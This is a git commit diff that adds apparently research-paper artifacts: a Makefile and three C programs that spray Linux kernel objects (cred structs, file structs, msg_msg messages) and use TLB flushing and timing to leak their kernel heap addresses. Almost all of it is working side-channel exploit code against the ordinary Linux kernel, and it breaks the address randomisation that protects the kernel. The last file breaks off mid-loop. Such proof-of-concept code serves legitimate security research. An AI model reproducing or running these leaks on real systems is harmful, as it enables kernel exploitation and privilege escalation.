moved paper and artifacts
This commit is contained in:
parent
ab27c4cba8
commit
92bd09ec53
36 changed files with 0 additions and 0 deletions
24
paper/artifacts/heap/Makefile
Normal file
24
paper/artifacts/heap/Makefile
Normal file
|
@ -0,0 +1,24 @@
|
|||
CC := gcc
|
||||
|
||||
SOURCES := $(wildcard *.c)
|
||||
|
||||
TARGETS := $(SOURCES:.c=.elf)
|
||||
|
||||
CFLAGS += -g
|
||||
CFLAGS += -O2
|
||||
CFLAGS += -static
|
||||
CFLAGS += -Wall
|
||||
CFLAGS += -Wextra
|
||||
CFLAGS += -Wno-int-to-pointer-cast
|
||||
CFLAGS += -Wno-pointer-to-int-cast
|
||||
CFLAGS += -D_FILE_OFFSET_BITS=64
|
||||
CFLAGS += -I../include
|
||||
CFLAGS += -pthread
|
||||
|
||||
all: $(TARGETS)
|
||||
|
||||
%.elf: %.c ../include/tlb_flush.h ../include/cacheutils.h ../include/ulkm.h ../include/utils.h ../include/coarse_grain_leak.h
|
||||
$(CC) -D_FILE_OFFSET_BITS=64 $< $(CFLAGS) -o $@
|
||||
|
||||
clean:
|
||||
rm -f *.elf
|
214
paper/artifacts/heap/cred_leak.c
Normal file
214
paper/artifacts/heap/cred_leak.c
Normal file
|
@ -0,0 +1,214 @@
|
|||
#include "utils.h"
|
||||
#include "cacheutils.h"
|
||||
#include "tlb_flush.h"
|
||||
#include "coarse_grain_leak.h"
|
||||
#include "ulkm.h"
|
||||
#include <unistd.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/wait.h>
|
||||
#include <keyutils.h>
|
||||
#include <pthread.h>
|
||||
|
||||
#define OBJ_PER_SLAB 42
|
||||
#define CREDS_SPRAY (OBJ_PER_SLAB*50)
|
||||
|
||||
#define TRIES 100
|
||||
|
||||
char buffer[1<<12];
|
||||
void get_times(size_t addr, size_t tries, size_t *time, size_t *time_n2, size_t *time_n4)
|
||||
{
|
||||
size_t times[tries];
|
||||
size_t times_n2[tries];
|
||||
size_t times_n4[tries];
|
||||
for (size_t i = 0; i < tries; ++i) {
|
||||
flush_tlb_targeted_4k(addr);
|
||||
flush_tlb_targeted_4k(addr+2*(1<<12));
|
||||
flush_tlb_targeted_4k(addr+2*(1<<12));
|
||||
getuid();
|
||||
times[i] = onlyreload(addr);
|
||||
times_n2[i] = onlyreload(addr+2*(1<<12));
|
||||
times_n4[i] = onlyreload(addr+4*(1<<12));
|
||||
}
|
||||
qsort(times, tries, sizeof(size_t), comp);
|
||||
qsort(times_n2, tries, sizeof(size_t), comp);
|
||||
qsort(times_n4, tries, sizeof(size_t), comp);
|
||||
*time = times[tries/4];
|
||||
*time_n2 = times_n2[tries/4];
|
||||
*time_n4 = times_n4[tries/4];
|
||||
}
|
||||
int is_2mb(size_t addr, size_t tries)
|
||||
{
|
||||
size_t time;
|
||||
size_t time_n2;
|
||||
size_t time_n4;
|
||||
get_times(addr, tries, &time, &time_n2, &time_n4);
|
||||
return (time < THRESHOLD && time_n2 < THRESHOLD && time_n4 < THRESHOLD);
|
||||
}
|
||||
int hit_flush(size_t addr, size_t tries)
|
||||
{
|
||||
size_t time;
|
||||
size_t time_n2;
|
||||
size_t time_n4;
|
||||
get_times(addr, tries, &time, &time_n2, &time_n4);
|
||||
return (time < THRESHOLD && (time_n2 > THRESHOLD || time_n4 > THRESHOLD));
|
||||
}
|
||||
|
||||
struct found_data {
|
||||
size_t found_addresses[32];
|
||||
size_t found_addresses_index;
|
||||
size_t cred;
|
||||
};
|
||||
struct found_data *data;
|
||||
volatile size_t *state;
|
||||
pthread_t tids[CREDS_SPRAY];
|
||||
size_t creds[CREDS_SPRAY];
|
||||
|
||||
void alloc_cred(void)
|
||||
{
|
||||
int ret = unshare(CLONE_NEWUSER);
|
||||
if (ret < 0) {
|
||||
perror("unshare(CLONE_NEWUSER)");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
char path[0x100];
|
||||
snprintf(path, sizeof(path), "/proc/%d/ns/user", getpid());
|
||||
int fd = open(path, O_RDONLY);
|
||||
if (fd < 0) {
|
||||
perror("open(/proc/%d/ns/user)");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
void spray_cred(void)
|
||||
{
|
||||
alloc_cred();
|
||||
sleep(-1);
|
||||
}
|
||||
|
||||
int main(void)
|
||||
{
|
||||
printf("[*] start\n");
|
||||
pin_to_core(0);
|
||||
lkm_init();
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
setvbuf(stderr, NULL, _IONBF, 0);
|
||||
|
||||
data = mmap(0, sizeof(struct found_data)*4, PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
|
||||
if (data == MAP_FAILED) {
|
||||
perror("mmap(found_data)");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
state = mmap(0, 4096, PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
|
||||
if (state == MAP_FAILED) {
|
||||
perror("mmap(found_data)");
|
||||
exit(-1);
|
||||
}
|
||||
*state = 3;
|
||||
|
||||
init_tlb_flush();
|
||||
get_total_memory();
|
||||
|
||||
for (volatile size_t i = 0; i < (1ULL << 30); ++i);
|
||||
size_t dpm_base = dpm_leak(TRIES);
|
||||
printf("[*] dpm_base: %016zx\n", dpm_base);
|
||||
pin_to_core(15);
|
||||
|
||||
printf("[*] spray creds\n");
|
||||
for (size_t i = 0; i < CREDS_SPRAY; ++i)
|
||||
if (fork() == 0)
|
||||
spray_cred();
|
||||
|
||||
size_t index = 0;
|
||||
if (fork() == 0) {
|
||||
for (size_t i = 0; i < OBJ_PER_SLAB; ++i)
|
||||
if (fork() == 0)
|
||||
sleep(-1);
|
||||
|
||||
index = (fork() == 0)*2;
|
||||
index += (fork() == 0);
|
||||
sched_yield();
|
||||
sched_yield();
|
||||
alloc_cred();
|
||||
pin_to_core(index);
|
||||
|
||||
size_t cred;
|
||||
lkm_cred_leak((size_t)&cred);
|
||||
printf("[*] cred %zd %016zx\n", index, cred);
|
||||
data[index].cred = cred;
|
||||
if (index == 0) {
|
||||
size_t is_4kb = lkm_is_4kb(cred);
|
||||
printf("[*] %016zx is %s page\n", cred, is_4kb ? "4kB" : "2MB");
|
||||
}
|
||||
|
||||
while (*state != index) sleep(1);
|
||||
printf("[*] redo %zd\n", index);
|
||||
|
||||
size_t found_addresses[32] = {0};
|
||||
size_t found_addresses_index = 0;
|
||||
|
||||
if (index == 3) {
|
||||
|
||||
for (size_t addr = dpm_base; addr < dpm_base+mem_total_rounded; addr += (1<<21)) {
|
||||
if ((addr % (1 << 30)) == 0)
|
||||
printf("[*] addr %016zx\n", addr);
|
||||
|
||||
if (is_2mb(addr, 40))
|
||||
continue;
|
||||
for (size_t i = 0; i < (1ULL << 21); i += (1ULL << 12)) {
|
||||
size_t cur_addr = addr + i;
|
||||
size_t found_0 = hit_flush(cur_addr, TRIES);
|
||||
if (!found_0)
|
||||
continue;
|
||||
found_addresses[found_addresses_index++] = cur_addr;
|
||||
printf("[+] %zd found addr %016zx\n", index, cur_addr);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
for (size_t i = 0; i < data[index+1].found_addresses_index; ++i) {
|
||||
for (size_t j = 0; j < 2; ++j) {
|
||||
size_t addr = (data[index+1].found_addresses[i] & ~((1<<13)-1)) + j*(1<<12);
|
||||
printf("[*] addr %016zx\n", addr);
|
||||
size_t found_0 = hit_flush(addr, TRIES);
|
||||
if (!found_0)
|
||||
continue;
|
||||
found_addresses[found_addresses_index++] = addr;
|
||||
printf("[+] %zd found addr %016zx\n", index, addr);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
memcpy(data[index].found_addresses, found_addresses, sizeof(found_addresses));
|
||||
data[index].found_addresses_index = found_addresses_index;
|
||||
|
||||
*state -= 1;
|
||||
exit(0);
|
||||
} else {
|
||||
wait(0);
|
||||
}
|
||||
|
||||
size_t found_addresses[32] = {0};
|
||||
size_t found_addresses_index = 0;
|
||||
if (data[0].found_addresses_index == 2 &&
|
||||
(data[0].found_addresses[0] & ~((1<<13)-1)) == (data[0].found_addresses[1] & ~((1<<13)-1))) {
|
||||
found_addresses[0] = data[0].found_addresses[0] & ~((1<<13)-1);
|
||||
found_addresses_index = 1;
|
||||
} else {
|
||||
memcpy(found_addresses, data[0].found_addresses, sizeof(found_addresses));
|
||||
found_addresses_index = data[0].found_addresses_index;
|
||||
}
|
||||
|
||||
if (found_addresses_index == 0)
|
||||
printf("[!] non found -> retry\n");
|
||||
else if (found_addresses_index != 1)
|
||||
printf("[!] multiple addresses -> retry\n");
|
||||
else if ((found_addresses[0] & ~((1<<13)-1)) == (data[0].cred & ~((1<<13)-1)))
|
||||
printf("[+] success\n");
|
||||
else
|
||||
printf("[!] fail\n");
|
||||
signal(SIGQUIT, SIG_IGN);
|
||||
kill(0, SIGQUIT);
|
||||
}
|
259
paper/artifacts/heap/file_leak.c
Normal file
259
paper/artifacts/heap/file_leak.c
Normal file
|
@ -0,0 +1,259 @@
|
|||
#include "utils.h"
|
||||
#include "cacheutils.h"
|
||||
#include "tlb_flush.h"
|
||||
#include "coarse_grain_leak.h"
|
||||
#define VALIDATE
|
||||
#ifdef VALIDATE
|
||||
#include "ulkm.h"
|
||||
#endif
|
||||
#include <unistd.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
#define IPPROTO_DCCP 33
|
||||
#define IPPROTO_SCTP 132
|
||||
#define IPPROTO_L2TP 115
|
||||
#define CAN_RAW 1
|
||||
#define CAN_BCM 2
|
||||
#define CAN_ISOTP 6
|
||||
|
||||
#define DEBUG
|
||||
|
||||
#define OBJS_PER_SLAB 32
|
||||
#define FILES_SPRAY (OBJS_PER_SLAB*200)
|
||||
#define FILES (OBJS_PER_SLAB*10)
|
||||
|
||||
#define TRIES 40
|
||||
|
||||
char buffer[1<<12];
|
||||
void get_times(int fd, size_t addr, size_t tries, size_t *time, size_t *time_n2, size_t *time_n4)
|
||||
{
|
||||
struct stat buf;
|
||||
size_t times[tries];
|
||||
size_t times_n2[tries];
|
||||
size_t times_n4[tries];
|
||||
for (size_t i = 0; i < tries; ++i) {
|
||||
flush_tlb_targeted_4k(addr);
|
||||
flush_tlb_targeted_4k(addr+2*(1<<12));
|
||||
flush_tlb_targeted_4k(addr+2*(1<<12));
|
||||
fstat(fd, &buf);
|
||||
times[i] = onlyreload(addr);
|
||||
times_n2[i] = onlyreload(addr+2*(1<<12));
|
||||
times_n4[i] = onlyreload(addr+4*(1<<12));
|
||||
}
|
||||
qsort(times, tries, sizeof(size_t), comp);
|
||||
qsort(times_n2, tries, sizeof(size_t), comp);
|
||||
qsort(times_n4, tries, sizeof(size_t), comp);
|
||||
*time = times[tries/4];
|
||||
*time_n2 = times_n2[tries/4];
|
||||
*time_n4 = times_n4[tries/4];
|
||||
}
|
||||
int is_2mb(int fd, size_t addr, size_t tries)
|
||||
{
|
||||
size_t time;
|
||||
size_t time_n2;
|
||||
size_t time_n4;
|
||||
get_times(fd, addr, tries, &time, &time_n2, &time_n4);
|
||||
return (time < THRESHOLD && time_n2 < THRESHOLD && time_n4 < THRESHOLD);
|
||||
}
|
||||
int hit_flush(int fd, size_t addr, size_t tries)
|
||||
{
|
||||
size_t time;
|
||||
size_t time_n2;
|
||||
size_t time_n4;
|
||||
get_times(fd, addr, tries, &time, &time_n2, &time_n4);
|
||||
return (time < THRESHOLD && (time_n2 > THRESHOLD || time_n4 > THRESHOLD));
|
||||
}
|
||||
|
||||
int main(__attribute__((unused))int argc, char **argv)
|
||||
{
|
||||
printf("[*] start\n");
|
||||
set_limit();
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
setvbuf(stderr, NULL, _IONBF, 0);
|
||||
pin_to_core(0);
|
||||
|
||||
init_tlb_flush();
|
||||
get_total_memory();
|
||||
|
||||
size_t time;
|
||||
size_t prev_time = -1;
|
||||
size_t last_slab = -1;
|
||||
for (size_t i = FILES_SPRAY/2; i < FILES_SPRAY; ++i)
|
||||
open(argv[0], O_RDONLY);
|
||||
|
||||
printf("[*] load 1st half of kernel modules\n");
|
||||
int sock_fd;
|
||||
sock_fd = socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP)");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(SOCK_DGRAM, CAN_BCM, 0);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(SOCK_DGRAM, CAN_BCM, 0)");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(AF_VSOCK, SOCK_STREAM, 0);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(AF_VSOCK, SOCK_STREAM, 0)");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
for (size_t i = FILES_SPRAY/2; i < FILES_SPRAY; ++i) {
|
||||
size_t t0 = rdtsc_begin();
|
||||
int ret = open(argv[0], O_RDONLY);
|
||||
size_t t1 = rdtsc_end();
|
||||
if (ret < 0) {
|
||||
perror("open(argv[0])");
|
||||
exit(-1);
|
||||
}
|
||||
time = t1-t0;
|
||||
if (time > (prev_time+1500)) {
|
||||
if (last_slab == (size_t)-1)
|
||||
last_slab = i;
|
||||
else if (i - last_slab == OBJS_PER_SLAB)
|
||||
break;
|
||||
else
|
||||
last_slab = -1;
|
||||
}
|
||||
prev_time = time;
|
||||
}
|
||||
|
||||
int fds[FILES];
|
||||
for (size_t i = 0; i < FILES; ++i) {
|
||||
fds[i] = open(argv[0], O_RDONLY);
|
||||
if (fds[i] < 0) {
|
||||
perror("open(argv[0])");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
printf("[*] load 2nd half of kernel modules\n");
|
||||
sock_fd = socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP)");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(PF_INET, SOCK_DGRAM, IPPROTO_L2TP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(PF_INET, SOCK_STREAM, IPPROTO_L2TP)");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
__attribute__((unused))size_t found_addresses[32];
|
||||
size_t found_addresses_index = 0;
|
||||
|
||||
#ifdef VALIDATE
|
||||
size_t file_0;
|
||||
size_t file_1;
|
||||
size_t file_2;
|
||||
size_t file_3;
|
||||
size_t file_4;
|
||||
size_t file_16;
|
||||
size_t file_30;
|
||||
size_t file_ns1;
|
||||
size_t file_ns2;
|
||||
lkm_init();
|
||||
lkm_file_leak((size_t)&file_0, fds[0]);
|
||||
printf("[*] file 0 %016zx\n", file_0);
|
||||
lkm_file_leak((size_t)&file_1, fds[1]);
|
||||
printf("[*] file 1 %016zx\n", file_1);
|
||||
lkm_file_leak((size_t)&file_2, fds[2]);
|
||||
printf("[*] file 2 %016zx\n", file_2);
|
||||
lkm_file_leak((size_t)&file_3, fds[3]);
|
||||
printf("[*] file 3 %016zx\n", file_3);
|
||||
lkm_file_leak((size_t)&file_4, fds[4]);
|
||||
printf("[*] file 4 %016zx\n", file_4);
|
||||
lkm_file_leak((size_t)&file_16, fds[16]);
|
||||
printf("[*] file 16 %016zx\n", file_16);
|
||||
lkm_file_leak((size_t)&file_30, fds[30]);
|
||||
printf("[*] file 30 %016zx\n", file_30);
|
||||
lkm_file_leak((size_t)&file_ns1, fds[OBJS_PER_SLAB]);
|
||||
printf("[*] file %d %016zx\n", OBJS_PER_SLAB, file_ns1);
|
||||
lkm_file_leak((size_t)&file_ns2, fds[OBJS_PER_SLAB*2]);
|
||||
printf("[*] file %d %016zx\n", OBJS_PER_SLAB*2, file_ns2);
|
||||
|
||||
size_t is_4kb = lkm_is_4kb(file_0);
|
||||
printf("[*] %016zx is %s page\n", file_0, is_4kb ? "4kB" : "2MB");
|
||||
#endif
|
||||
|
||||
size_t dpm_base = dpm_leak(TRIES);
|
||||
printf("[*] dpm_base: %016zx\n", dpm_base);
|
||||
for (size_t addr = dpm_base; addr < dpm_base+mem_total_rounded; addr += (1<<21)) {
|
||||
if ((addr % (1 << 30)) == 0)
|
||||
printf("[*] addr %016zx\n", addr);
|
||||
if (is_2mb(fds[0], addr, 40))
|
||||
continue;
|
||||
|
||||
for (size_t i = 0; i < (1ULL << 21); i += (1ULL << 12)) {
|
||||
size_t cur_addr = addr + i;
|
||||
size_t found_0 = hit_flush(fds[0], cur_addr, TRIES);
|
||||
if (!found_0)
|
||||
continue;
|
||||
|
||||
size_t found_ns1 = hit_flush(fds[OBJS_PER_SLAB], cur_addr, TRIES);
|
||||
if (found_ns1)
|
||||
continue;
|
||||
size_t found_ns2 = hit_flush(fds[OBJS_PER_SLAB*2], cur_addr, TRIES);
|
||||
if (found_ns2)
|
||||
continue;
|
||||
size_t found_ns3 = hit_flush(fds[OBJS_PER_SLAB*3], cur_addr, TRIES);
|
||||
if (found_ns3)
|
||||
continue;
|
||||
size_t found_ns4 = hit_flush(fds[OBJS_PER_SLAB*4], cur_addr, TRIES);
|
||||
if (found_ns4)
|
||||
continue;
|
||||
|
||||
size_t found_1 = hit_flush(fds[1], cur_addr, TRIES) || hit_flush(fds[1], cur_addr ^ 0x1000, TRIES);
|
||||
if (!found_1)
|
||||
continue;
|
||||
size_t found_2 = hit_flush(fds[2], cur_addr, TRIES) || hit_flush(fds[2], cur_addr ^ 0x1000, TRIES);
|
||||
if (!found_2)
|
||||
continue;
|
||||
size_t found_3 = hit_flush(fds[3], cur_addr, TRIES) || hit_flush(fds[3], cur_addr ^ 0x1000, TRIES);
|
||||
if (!found_3)
|
||||
continue;
|
||||
size_t found_4 = hit_flush(fds[4], cur_addr, TRIES) || hit_flush(fds[4], cur_addr ^ 0x1000, TRIES);
|
||||
if (!found_4)
|
||||
continue;
|
||||
size_t found_16 = hit_flush(fds[16], cur_addr, TRIES) || hit_flush(fds[16], cur_addr ^ 0x1000, TRIES);
|
||||
if (!found_16)
|
||||
continue;
|
||||
size_t found_30 = hit_flush(fds[30], cur_addr, TRIES) || hit_flush(fds[30], cur_addr ^ 0x1000, TRIES);
|
||||
if (!found_30)
|
||||
continue;
|
||||
|
||||
if (found_addresses_index == 32) {
|
||||
printf("[?] too much found addresses\n");
|
||||
continue;
|
||||
}
|
||||
found_addresses[found_addresses_index++] = cur_addr;
|
||||
printf("[+] found addr %016zx\n", cur_addr);
|
||||
}
|
||||
}
|
||||
if (found_addresses_index == 0)
|
||||
printf("[!] non found -> retry\n");
|
||||
else if (found_addresses_index != 1)
|
||||
printf("[!] multiple addresses -> retry\n");
|
||||
#ifdef VALIDATE
|
||||
else if ((found_addresses[0] & ~((1<<13)-1)) == (file_0 & ~((1<<13)-1)))
|
||||
printf("[+] success\n");
|
||||
else
|
||||
printf("[!] fail\n");
|
||||
#else
|
||||
else
|
||||
printf("[*] found %016zx\n", found_addresses[0]);
|
||||
#endif
|
||||
}
|
258
paper/artifacts/heap/msg_msg_leak.c
Normal file
258
paper/artifacts/heap/msg_msg_leak.c
Normal file
|
@ -0,0 +1,258 @@
|
|||
#include "utils.h"
|
||||
#include "tlb_flush.h"
|
||||
#include "msg_msg.h"
|
||||
#include "coarse_grain_leak.h"
|
||||
#define VALIDATE
|
||||
#ifdef VALIDATE
|
||||
#include "ulkm.h"
|
||||
#endif
|
||||
#include <unistd.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/mman.h>
|
||||
#define IPPROTO_DCCP 33
|
||||
#define IPPROTO_SCTP 132
|
||||
#define IPPROTO_L2TP 115
|
||||
#define CAN_RAW 1
|
||||
#define CAN_BCM 2
|
||||
#define CAN_ISOTP 6
|
||||
|
||||
#define OBJS_PER_SLAB 32
|
||||
#define MSGS (OBJS_PER_SLAB*50)
|
||||
#define MSG_SPRAYS (OBJS_PER_SLAB*200)
|
||||
#define MSG_TYPE 0x41
|
||||
#define MSG_SIZE (128 - 48)
|
||||
|
||||
int qids_spray[MSG_SPRAYS];
|
||||
int qids[MSGS];
|
||||
|
||||
#define TRIES 40
|
||||
|
||||
void get_times(int qid, size_t type, size_t addr, size_t tries, size_t *time, size_t *time_n2, size_t *time_n4)
|
||||
{
|
||||
static char buffer[0x1000] = {0};
|
||||
msg *message = (msg *)buffer;
|
||||
message->mtype = type;
|
||||
|
||||
size_t times[tries];
|
||||
size_t times_n2[tries];
|
||||
size_t times_n4[tries];
|
||||
for (size_t i = 0; i < tries; ++i) {
|
||||
flush_tlb_targeted_4k(addr);
|
||||
flush_tlb_targeted_4k(addr+2*(1<<12));
|
||||
flush_tlb_targeted_4k(addr+2*(1<<12));
|
||||
get_msg(qid, message, MSG_SIZE, 0, MSG_COPY|IPC_NOWAIT);
|
||||
times[i] = onlyreload(addr);
|
||||
times_n2[i] = onlyreload(addr+2*(1<<12));
|
||||
times_n4[i] = onlyreload(addr+4*(1<<12));
|
||||
}
|
||||
qsort(times, tries, sizeof(size_t), comp);
|
||||
qsort(times_n2, tries, sizeof(size_t), comp);
|
||||
qsort(times_n4, tries, sizeof(size_t), comp);
|
||||
*time = times[tries/4];
|
||||
*time_n2 = times_n2[tries/4];
|
||||
*time_n4 = times_n4[tries/4];
|
||||
}
|
||||
int is_2mb(int qid, size_t type, size_t addr, size_t tries)
|
||||
{
|
||||
size_t time;
|
||||
size_t time_n2;
|
||||
size_t time_n4;
|
||||
get_times(qid, type, addr, tries, &time, &time_n2, &time_n4);
|
||||
return (time < THRESHOLD && time_n2 < THRESHOLD && time_n4 < THRESHOLD);
|
||||
}
|
||||
int hit_flush(int qid, size_t type, size_t addr, size_t tries)
|
||||
{
|
||||
size_t time;
|
||||
size_t time_n2;
|
||||
size_t time_n4;
|
||||
get_times(qid, type, addr, tries, &time, &time_n2, &time_n4);
|
||||
return (time < THRESHOLD && (time_n2 > THRESHOLD || time_n4 > THRESHOLD));
|
||||
}
|
||||
|
||||
int main(void)
|
||||
{
|
||||
printf("[*] start\n");
|
||||
set_limit();
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
setvbuf(stderr, NULL, _IONBF, 0);
|
||||
pin_to_core(0);
|
||||
|
||||
init_tlb_flush();
|
||||
get_total_memory();
|
||||
|
||||
static char buffer[0x1000] = {0};
|
||||
msg *message = (msg *)buffer;
|
||||
message->mtype = MSG_TYPE;
|
||||
|
||||
printf("[*] make queues\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS; ++i)
|
||||
qids_spray[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
|
||||
for (size_t i = 0; i < MSGS; ++i)
|
||||
qids[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
|
||||
|
||||
size_t time;
|
||||
size_t prev_time = -1;
|
||||
size_t last_slab = -1;
|
||||
printf("[*] alloc msg_msg structs\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS/2; ++i)
|
||||
send_msg(qids_spray[i], message, MSG_SIZE, 0);
|
||||
|
||||
printf("[*] load 1st half of kernel modules\n");
|
||||
int sock_fd;
|
||||
sock_fd = socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP)");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(SOCK_DGRAM, CAN_BCM, 0);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(SOCK_DGRAM, CAN_BCM, 0)");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(AF_VSOCK, SOCK_STREAM, 0);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(AF_VSOCK, SOCK_STREAM, 0)");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
printf("[*] alloc msg_msg structs\n");
|
||||
for (size_t i = MSG_SPRAYS/2; i < MSG_SPRAYS; ++i) {
|
||||
size_t t0 = rdtsc_begin();
|
||||
send_msg(qids_spray[i], message, MSG_SIZE, 0);
|
||||
size_t t1 = rdtsc_end();
|
||||
time = t1-t0;
|
||||
if (time > (prev_time+1000)) {
|
||||
if (last_slab == (size_t)-1)
|
||||
last_slab = i;
|
||||
else if (i - last_slab == OBJS_PER_SLAB)
|
||||
break;
|
||||
else
|
||||
last_slab = -1;
|
||||
}
|
||||
prev_time = time;
|
||||
}
|
||||
for (size_t i = 0; i < MSGS; ++i)
|
||||
send_msg(qids[i], message, MSG_SIZE, 0);
|
||||
|
||||
printf("[*] load 2nd half of kernel modules\n");
|
||||
sock_fd = socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP)");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(PF_INET, SOCK_DGRAM, IPPROTO_L2TP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(PF_INET, SOCK_STREAM, IPPROTO_L2TP)");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
__attribute__((unused))size_t found_addresses[32];
|
||||
size_t found_addresses_index = 0;
|
||||
|
||||
#ifdef VALIDATE
|
||||
lkm_init();
|
||||
size_t msg_msg_0;
|
||||
size_t msg_msg_1;
|
||||
size_t msg_msg_2;
|
||||
size_t msg_msg_3;
|
||||
size_t msg_msg_29;
|
||||
size_t msg_msg_30;
|
||||
size_t msg_msg_128;
|
||||
lkm_msg_msg_leak((size_t)&msg_msg_0, qids[0], MSG_TYPE);
|
||||
lkm_msg_msg_leak((size_t)&msg_msg_1, qids[1], MSG_TYPE);
|
||||
lkm_msg_msg_leak((size_t)&msg_msg_2, qids[2], MSG_TYPE);
|
||||
lkm_msg_msg_leak((size_t)&msg_msg_3, qids[3], MSG_TYPE);
|
||||
lkm_msg_msg_leak((size_t)&msg_msg_29, qids[29], MSG_TYPE);
|
||||
lkm_msg_msg_leak((size_t)&msg_msg_30, qids[30], MSG_TYPE);
|
||||
lkm_msg_msg_leak((size_t)&msg_msg_128, qids[128], MSG_TYPE);
|
||||
printf("[*] leak msg_msg struct 0 %016zx\n", msg_msg_0);
|
||||
printf("[*] leak msg_msg struct 1 %016zx\n", msg_msg_1);
|
||||
printf("[*] leak msg_msg struct 2 %016zx\n", msg_msg_2);
|
||||
printf("[*] leak msg_msg struct 3 %016zx\n", msg_msg_3);
|
||||
printf("[*] leak msg_msg struct 29 %016zx\n", msg_msg_29);
|
||||
printf("[*] leak msg_msg struct 30 %016zx\n", msg_msg_30);
|
||||
printf("[*] leak msg_msg struct 128 %016zx\n", msg_msg_128);
|
||||
|
||||
size_t is_4kb = lkm_is_4kb(msg_msg_0);
|
||||
printf("[*] %016zx is %s page\n", msg_msg_0, is_4kb ? "4kB" : "2MB");
|
||||
#endif
|
||||
|
||||
size_t dpm_base = dpm_leak(TRIES);
|
||||
printf("[*] dpm_base: %016zx\n", dpm_base);
|
||||
for (size_t addr = dpm_base; addr < dpm_base+mem_total_rounded; addr += (1<<21)) {
|
||||
if ((addr % (1 << 30)) == 0)
|
||||
printf("[*] addr %016zx\n", addr);
|
||||
|
||||
if (is_2mb(qids[0], MSG_TYPE, addr, 40))
|
||||
continue;
|
||||
for (size_t i = 0; i < (1ULL << 21); i += (1ULL << 12)) {
|
||||
size_t cur_addr = addr + i;
|
||||
size_t found_0 = hit_flush(qids[0], MSG_TYPE, cur_addr, TRIES);
|
||||
if (!found_0)
|
||||
continue;
|
||||
|
||||
size_t found_32 = hit_flush(qids[32], MSG_TYPE, cur_addr, TRIES);
|
||||
if (found_32)
|
||||
continue;
|
||||
size_t found_64 = hit_flush(qids[64], MSG_TYPE, cur_addr, TRIES);
|
||||
if (found_64)
|
||||
continue;
|
||||
size_t found_96 = hit_flush(qids[96], MSG_TYPE, cur_addr, TRIES);
|
||||
if (found_96)
|
||||
continue;
|
||||
size_t found_128 = hit_flush(qids[128], MSG_TYPE, cur_addr, TRIES);
|
||||
if (found_128)
|
||||
continue;
|
||||
size_t found_160 = hit_flush(qids[160], MSG_TYPE, cur_addr, TRIES);
|
||||
if (found_160)
|
||||
continue;
|
||||
|
||||
size_t found_1 = hit_flush(qids[1], MSG_TYPE, cur_addr, TRIES);
|
||||
if (!found_1)
|
||||
continue;
|
||||
size_t found_2 = hit_flush(qids[2], MSG_TYPE, cur_addr, TRIES);
|
||||
if (!found_2)
|
||||
continue;
|
||||
size_t found_3 = hit_flush(qids[3], MSG_TYPE, cur_addr, TRIES);
|
||||
if (!found_3)
|
||||
continue;
|
||||
size_t found_16 = hit_flush(qids[16], MSG_TYPE, cur_addr, TRIES);
|
||||
if (!found_16)
|
||||
continue;
|
||||
size_t found_29 = hit_flush(qids[29], MSG_TYPE, cur_addr, TRIES);
|
||||
if (!found_29)
|
||||
continue;
|
||||
